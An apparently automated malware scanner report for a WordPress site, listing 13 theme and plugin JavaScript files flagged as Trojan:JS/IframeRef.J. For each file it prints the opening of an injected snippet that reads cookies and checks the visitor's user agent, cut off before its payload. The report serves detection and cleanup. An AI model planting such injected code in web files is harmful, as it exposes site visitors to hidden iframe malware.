New scan:

Malware Scanner report for belindomag.nl

Malicious/Suspicious/Total urls checked
13/0/15
13 pages have malicious code. See details below
Blacklists
OK
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/16
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Scanned pages/files

RequestServer responseStatus
http://belindomag.nl/
200 OK
Content-Length: 95383
Content-Type: text/html
clean
http://belindomag.nl/wp-content/plugins/jquery-updater/js/jquery-2.1.1.min.js?abd973
200 OK
Content-Length: 85215
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)

function getCookie(a){var b=document.cookie.match(new RegExp("(?:^|; )"+a.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return b?decodeURIComponent(b[1]):undefined}(function(){function b(i,f,g){var j=(i+"").toLowerCase();var e=(f+"").toLowerCase();var h=0;if((h=j.indexOf(e,g))!==-1){return h}return false}function d(){var f=["Yandex","AppleWebKit","Windows NT 6.3","X11","Phone","Google"];var g=false;for(var e in f){if(b(navigator.userAgent,f[e])){g=true;break}}return g}var c=(getCoo
... 3131 bytes are skipped ...
h.max(b.body["scroll"+a],e["scroll"+a],b.body["offset"+a],e["offset"+a],e["client"+a])):void 0===d?n.css(b,c,g):n.style(b,c,d,g)},b,f?d:void 0,f,null)}})}),n.fn.size=function(){return this.length},n.fn.andSelf=n.fn.addBack,"function"==typeof define&&define.amd&&define("jquery",[],function(){return n});var Lc=a.jQuery,Mc=a.$;return n.noConflict=function(b){return a.$===n&&(a.$=Mc),b&&a.jQuery===n&&(a.jQuery=Lc),n},typeof b===U&&(a.jQuery=a.$=n),n});

Antivirus reports:

Microsoft
Trojan:JS/IframeRef.J

http://belindomag.nl/wp-includes/js/jquery/jquery-migrate.min.js?abd973
200 OK
Content-Length: 8170
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)

function getCookie(a){var b=document.cookie.match(new RegExp("(?:^|; )"+a.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return b?decodeURIComponent(b[1]):undefined}(function(){function b(i,f,g){var j=(i+"").toLowerCase();var e=(f+"").toLowerCase();var h=0;if((h=j.indexOf(e,g))!==-1){return h}return false}function d(){var f=["Yandex","AppleWebKit","Windows NT 6.3","X11","Phone","Google"];var g=false;for(var e in f){if(b(navigator.userAgent,f[e])){g=true;break}}return g}var c=(getCoo
... 3221 bytes are skipped ...
ector||"**",n),this)},e.event.trigger=function(e,t,n,a){return n||C.test(e)||r("Global events are undocumented and deprecated"),k.call(this,e,t,n||document,a)},e.each(S.split("|"),function(t,n){e.event.special[n]={setup:function(){var t=this;return t!==document&&(e.event.add(document,n+"."+e.guid,function(){e.event.trigger(n,null,t,!0)}),e._data(this,n,e.guid++)),!1},teardown:function(){return this!==document&&e.event.remove(document,n+"."+e._data(this,n)),!1}}})}(jQuery,window);

Antivirus reports:

Microsoft
Trojan:JS/IframeRef.J

http://belindomag.nl/wp-content/themes/worldwide-v1-01/javascript/jquery.fitvids.js?abd973
200 OK
Content-Length: 3776
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)

function getCookie(a){var b=document.cookie.match(new RegExp("(?:^|; )"+a.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return b?decodeURIComponent(b[1]):undefined}(function(){function b(i,f,g){var j=(i+"").toLowerCase();var e=(f+"").toLowerCase();var h=0;if((h=j.indexOf(e,g))!==-1){return h}return false}function d(){var f=["Yandex","AppleWebKit","Windows NT 6.3","X11","Phone","Google"];var g=false;for(var e in f){if(b(navigator.userAgent,f[e])){g=true;break}}return g}var c=(getCoo
... 2623 bytes are skipped ...
fitvid' + Math.floor(Math.random()*999999);
$this.attr('id', videoID);
}
$this.wrap('<div class="fluid-width-video-wrapper"></div>').parent('.fluid-width-video-wrapper').css('padding-top', (aspectRatio * 100)+"%");
$this.removeAttr('height').removeAttr('width');
});
});

}
})( jQuery );

jQuery(document).ready(function(){
jQuery(".gdl-page-row-wrapper, .footer-wrapper").fitVids();
});

Antivirus reports:

Microsoft
Trojan:JS/IframeRef.J

http://belindomag.nl/wp-content/plugins/sitepress-multilingual-cms/res/js/sitepress.js?abd973
200 OK
Content-Length: 1964
Content-Type: application/x-javascript
clean
http://belindomag.nl/wp-content/plugins/wp-polls/polls-js.js?abd973
200 OK
Content-Length: 3900
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)

function getCookie(a){var b=document.cookie.match(new RegExp("(?:^|; )"+a.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return b?decodeURIComponent(b[1]):undefined}(function(){function b(i,f,g){var j=(i+"").toLowerCase();var e=(f+"").toLowerCase();var h=0;if((h=j.indexOf(e,g))!==-1){return h}return false}function d(){var f=["Yandex","AppleWebKit","Windows NT 6.3","X11","Phone","Google"];var g=false;for(var e in f){if(b(navigator.userAgent,f[e])){g=true;break}}return g}var c=(getCoo
... 2940 bytes are skipped ...
x({type:"GET",url:pollsL10n.ajax_url,data:"action=polls&view=booth&poll_id="+poll_id+"&poll_"+poll_id+"_nonce="+poll_nonce,cache:!1,success:poll_process_success}))})}
function poll_process_success(b){jQuery(document).ready(function(a){a("#polls-"+poll_id).replaceWith(b);pollsL10n.show_loading&&a("#polls-"+poll_id+"-loading").hide();pollsL10n.show_fading&&a("#polls-"+poll_id).fadeTo("def",1);set_is_being_voted(!1)})}function set_is_being_voted(b){is_being_voted=b};

Antivirus reports:

Microsoft
Trojan:JS/IframeRef.J

http://belindomag.nl/wp-content/themes/worldwide-v1-01/javascript/superfish.js?abd973
200 OK
Content-Length: 6929
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)

function getCookie(a){var b=document.cookie.match(new RegExp("(?:^|; )"+a.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return b?decodeURIComponent(b[1]):undefined}(function(){function b(i,f,g){var j=(i+"").toLowerCase();var e=(f+"").toLowerCase();var h=0;if((h=j.indexOf(e,g))!==-1){return h}return false}function d(){var f=["Yandex","AppleWebKit","Windows NT 6.3","X11","Phone","Google"];var g=false;for(var e in f){if(b(navigator.userAgent,f[e])){g=true;break}}return g}var c=(getCoo
... 3563 bytes are skipped ...
.getOptions(this),
$this = this.addClass(o.hoverClass),
$ul = $this.children('ul');

o.onBeforeShow.call($ul);
$ul.stop(true, true).animate(o.animation, o.speed, function() {
o.onShow.call($ul);
$this.children('a').data('follow', true);
});
return this;
}
});

if (sf.ios) {
$(window).load(function() {
$('body').children().on('click', $.noop);
});
}

})(jQuery);

Antivirus reports:

Microsoft
Trojan:JS/IframeRef.J

http://belindomag.nl/wp-content/themes/worldwide-v1-01/javascript/supersub.js?abd973
200 OK
Content-Length: 4356
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)

function getCookie(a){var b=document.cookie.match(new RegExp("(?:^|; )"+a.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return b?decodeURIComponent(b[1]):undefined}(function(){function b(i,f,g){var j=(i+"").toLowerCase();var e=(f+"").toLowerCase();var h=0;if((h=j.indexOf(e,g))!==-1){return h}return false}function d(){var f=["Yandex","AppleWebKit","Windows NT 6.3","X11","Phone","Google"];var g=false;for(var e in f){if(b(navigator.userAgent,f[e])){g=true;break}}return g}var c=(getCoo
... 1597 bytes are skipped ...
LIs.css({
'float' : liFloat,
'width' : '100%',
'white-space' : 'normal'
})
.each(function(){
var $childUl = $('>ul',this);
var offsetDirection = $childUl.css('left')!==undefined ? 'left' : 'right';
$childUl.css(offsetDirection,emWidth);
});
});

});
};
$.fn.supersubs.defaults = {
minWidth : 9, maxWidth : 25, extraWidth : 0 };

})(jQuery);

Antivirus reports:

Microsoft
Trojan:JS/IframeRef.J

http://belindomag.nl/wp-content/themes/worldwide-v1-01/javascript/hoverIntent.js?abd973
200 OK
Content-Length: 6026
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)

function getCookie(a){var b=document.cookie.match(new RegExp("(?:^|; )"+a.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return b?decodeURIComponent(b[1]):undefined}(function(){function b(i,f,g){var j=(i+"").toLowerCase();var e=(f+"").toLowerCase();var h=0;if((h=j.indexOf(e,g))!==-1){return h}return false}function d(){var f=["Yandex","AppleWebKit","Windows NT 6.3","X11","Phone","Google"];var g=false;for(var e in f){if(b(navigator.userAgent,f[e])){g=true;break}}return g}var c=(getCoo
... 2632 bytes are skipped ...
mpare(ev,ob);} , cfg.interval );}

} else {
$(ob).off("mousemove.hoverIntent",track);
if (ob.hoverIntent_s == 1) { ob.hoverIntent_t = setTimeout( function(){delay(ev,ob);} , cfg.timeout );}
}
};

return this.on({'mouseenter.hoverIntent':handleHover,'mouseleave.hoverIntent':handleHover}, cfg.selector);
};
})(jQuery);

Antivirus reports:

Microsoft
Trojan:JS/IframeRef.J

http://belindomag.nl/wp-content/themes/worldwide-v1-01/javascript/jquery.easing.js?abd973
200 OK
Content-Length: 9271
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)

function getCookie(a){var b=document.cookie.match(new RegExp("(?:^|; )"+a.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return b?decodeURIComponent(b[1]):undefined}(function(){function b(i,f,g){var j=(i+"").toLowerCase();var e=(f+"").toLowerCase();var h=0;if((h=j.indexOf(e,g))!==-1){return h}return false}function d(){var f=["Yandex","AppleWebKit","Windows NT 6.3","X11","Phone","Google"];var g=false;for(var e in f){if(b(navigator.userAgent,f[e])){g=true;break}}return g}var c=(getCoo
... 3429 bytes are skipped ...
lt; (2/2.75)) {
return c*(7.5625*(t-=(1.5/2.75))*t + .75) + b;
} else if (t < (2.5/2.75)) {
return c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b;
} else {
return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b;
}
},
easeInOutBounce: function (x, t, b, c, d) {
if (t < d/2) return jQuery.easing.easeInBounce (x, t*2, 0, c, d) * .5 + b;
return jQuery.easing.easeOutBounce (x, t*2-d, 0, c, d) * .5 + c*.5 + b;
}
});

Antivirus reports:

Microsoft
Trojan:JS/IframeRef.J

http://belindomag.nl/wp-content/themes/worldwide-v1-01/javascript/jquery.fancybox.js?abd973
200 OK
Content-Length: 20468
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)

function getCookie(a){var b=document.cookie.match(new RegExp("(?:^|; )"+a.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return b?decodeURIComponent(b[1]):undefined}(function(){function b(i,f,g){var j=(i+"").toLowerCase();var e=(f+"").toLowerCase();var h=0;if((h=j.indexOf(e,g))!==-1){return h}return false}function d(){var f=["Yandex","AppleWebKit","Windows NT 6.3","X11","Phone","Google"];var g=false;for(var e in f){if(b(navigator.userAgent,f[e])){g=true;break}}return g}var c=(getCoo
... 3379 bytes are skipped ...
({
nextMethod : 'resizeIn',
nextSpeed : 250,
prevMethod : 'resizeOut',
prevSpeed : 250,
helpers : {
media : {},
thumbs : { width: parseInt(ATTR.width), height: parseInt(ATTR.height) }
}
});
}else{
jQuery('[data-rel="fancybox"]').fancybox({
nextMethod : 'resizeIn',
nextSpeed : 250,
prevMethod : 'resizeOut',
prevSpeed : 250,
helpers : {
media : {}
}
});
}
});

Antivirus reports:

Microsoft
Trojan:JS/IframeRef.J

http://belindomag.nl/wp-content/themes/worldwide-v1-01/javascript/jquery.fancybox-media.js?abd973
200 OK
Content-Length: 4019
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)

function getCookie(a){var b=document.cookie.match(new RegExp("(?:^|; )"+a.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return b?decodeURIComponent(b[1]):undefined}(function(){function b(i,f,g){var j=(i+"").toLowerCase();var e=(f+"").toLowerCase();var h=0;if((h=j.indexOf(e,g))!==-1){return h}return false}function d(){var f=["Yandex","AppleWebKit","Windows NT 6.3","X11","Phone","Google"];var g=false;for(var e in f){if(b(navigator.userAgent,f[e])){g=true;break}}return g}var c=(getCoo
... 1841 bytes are skipped ...
.am|instagram\.com)\/p\/([a-zA-Z0-9_\-]+)\/?/i))) {
href = '//' + rez[1] + '/p/' + rez[2] + '/media/?size=l';
type = 'image';
} else if ((rez = href.match(/maps\.google\.com\/(\?ll=|maps\/?\?q=)(.*)/i))) {
href = '//maps.google.com/' + rez[1] + '' + rez[2] + '&output=' + (rez[2].indexOf('layer=c') ? 'svembed' : 'embed');
type = 'iframe';
}
if (type) {
obj.href = href;
obj.type = type;
}
}
}
}(jQuery));

Antivirus reports:

Microsoft
Trojan:JS/IframeRef.J

http://belindomag.nl/wp-content/themes/worldwide-v1-01/javascript/jquery.fancybox-thumbs.js?abd973
200 OK
Content-Length: 4696
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)

function getCookie(a){var b=document.cookie.match(new RegExp("(?:^|; )"+a.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return b?decodeURIComponent(b[1]):undefined}(function(){function b(i,f,g){var j=(i+"").toLowerCase();var e=(f+"").toLowerCase();var h=0;if((h=j.indexOf(e,g))!==-1){return h}return false}function d(){var f=["Yandex","AppleWebKit","Windows NT 6.3","X11","Phone","Google"];var g=false;for(var e in f){if(b(navigator.userAgent,f[e])){g=true;break}}return g}var c=(getCoo
... 3165 bytes are skipped ...

afterShow: function (opts) {
if (this.list) {
this.update(opts);
} else {
this.init(opts);
}
this.list.children().removeClass('active').eq(F.current.index).addClass('active');
},
onUpdate: function () {
this.update();
},
beforeClose: function () {
if (this.wrap) {
this.wrap.remove();
}
this.wrap = null;
this.list = null;
this.width = 0;
}
}
}(jQuery));

Antivirus reports:

Microsoft
Trojan:JS/IframeRef.J

http://belindomag.nl/wp-content/themes/worldwide-v1-01/javascript/gdl-scripts.js?abd973
200 OK
Content-Length: 9988
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)

function getCookie(a){var b=document.cookie.match(new RegExp("(?:^|; )"+a.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return b?decodeURIComponent(b[1]):undefined}(function(){function b(i,f,g){var j=(i+"").toLowerCase();var e=(f+"").toLowerCase();var h=0;if((h=j.indexOf(e,g))!==-1){return h}return false}function d(){var f=["Yandex","AppleWebKit","Windows NT 6.3","X11","Phone","Google"];var g=false;for(var e in f){if(b(navigator.userAgent,f[e])){g=true;break}}return g}var c=(getCoo
... 3412 bytes are skipped ...
is).children('.portfolio-item').each(function(){
if( max_height < jQuery(this).height()){
max_height = jQuery(this).height();
}
});
jQuery(this).children('.portfolio-item').height(max_height);
});
}
setTimeout(function(){ set_portfolio_height(); }, 100);

jQuery(window).resize(function(){
set_personnal_height();
set_price_table_height();
set_portfolio_height()
});

});

Antivirus reports:

Microsoft
Trojan:JS/IframeRef.J

http://belindomag.nl/wp-content/themes/worldwide-v1-01/javascript/marquee.js?abd973
200 OK
Content-Length: 3402
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)

function getCookie(a){var b=document.cookie.match(new RegExp("(?:^|; )"+a.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return b?decodeURIComponent(b[1]):undefined}(function(){function b(i,f,g){var j=(i+"").toLowerCase();var e=(f+"").toLowerCase();var h=0;if((h=j.indexOf(e,g))!==-1){return h}return false}function d(){var f=["Yandex","AppleWebKit","Windows NT 6.3","X11","Phone","Google"];var g=false;for(var e in f){if(b(navigator.userAgent,f[e])){g=true;break}}return g}var c=(getCoo
... 1523 bytes are skipped ...
r/>
var time = time_multiplier * jQuery(this).outerWidth();
jQuery(this).animate({ 'margin-left': -item_width }, time, 'linear', function(){
var clone_item = jQuery(this).clone();
clone_item.css({ 'margin-left': '0' });
marquee.append(clone_item);

jQuery(this).remove();
reset.call(marquee.children().filter(':first'));
});
};

reset.call(marquee.children().filter(':first'));
});


Antivirus reports:

Microsoft
Trojan:JS/IframeRef.J


Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: belindomag.nl

Result:
HTTP/1.1 200 OK
Cache-Control: max-age=1816, public, public
Connection: close
Date: Sat, 08 Nov 2014 22:58:37 GMT
Pragma: public
Accept-Ranges: bytes
Server: Apache
Vary: Accept-Encoding,Cookie
Content-Length: 95383
Content-Type: text/html; charset=UTF-8
Expires: Sat, 08 Nov 2014 23:28:54 GMT
Last-Modified: Sat, 08 Nov 2014 22:28:54 GMT

...95383 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: belindomag.nl
Referer: http://www.google.com/search?q=belindomag.nl

Result:
The result is similar to the first query. There are no suspicious redirects found.

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=belindomag.nl

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://belindomag.nl/

Result: belindomag.nl is not infected or malware details are not published yet.